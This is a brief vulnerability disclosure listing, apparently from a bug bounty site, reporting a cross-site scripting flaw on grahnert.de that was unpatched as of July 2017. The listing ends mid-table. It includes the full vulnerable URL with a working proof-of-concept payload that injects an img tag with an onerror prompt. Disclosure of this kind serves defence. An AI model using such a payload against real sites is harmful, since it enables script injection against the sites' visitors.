grahnert.de XSS vulnerability

Vulnerable URL: http://grahnert.de/fernbahn/datenbank/suche/index.php?zugid=a%3E%27%3E%22%3Et%3Ci%3Ep%3Cimg+src%3Dy+onerror%3Dprompt%28%2Fopenbugbounty%2F%29%3Esuchezugid=Suchenform2 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017 Vulnerability type:| XSS...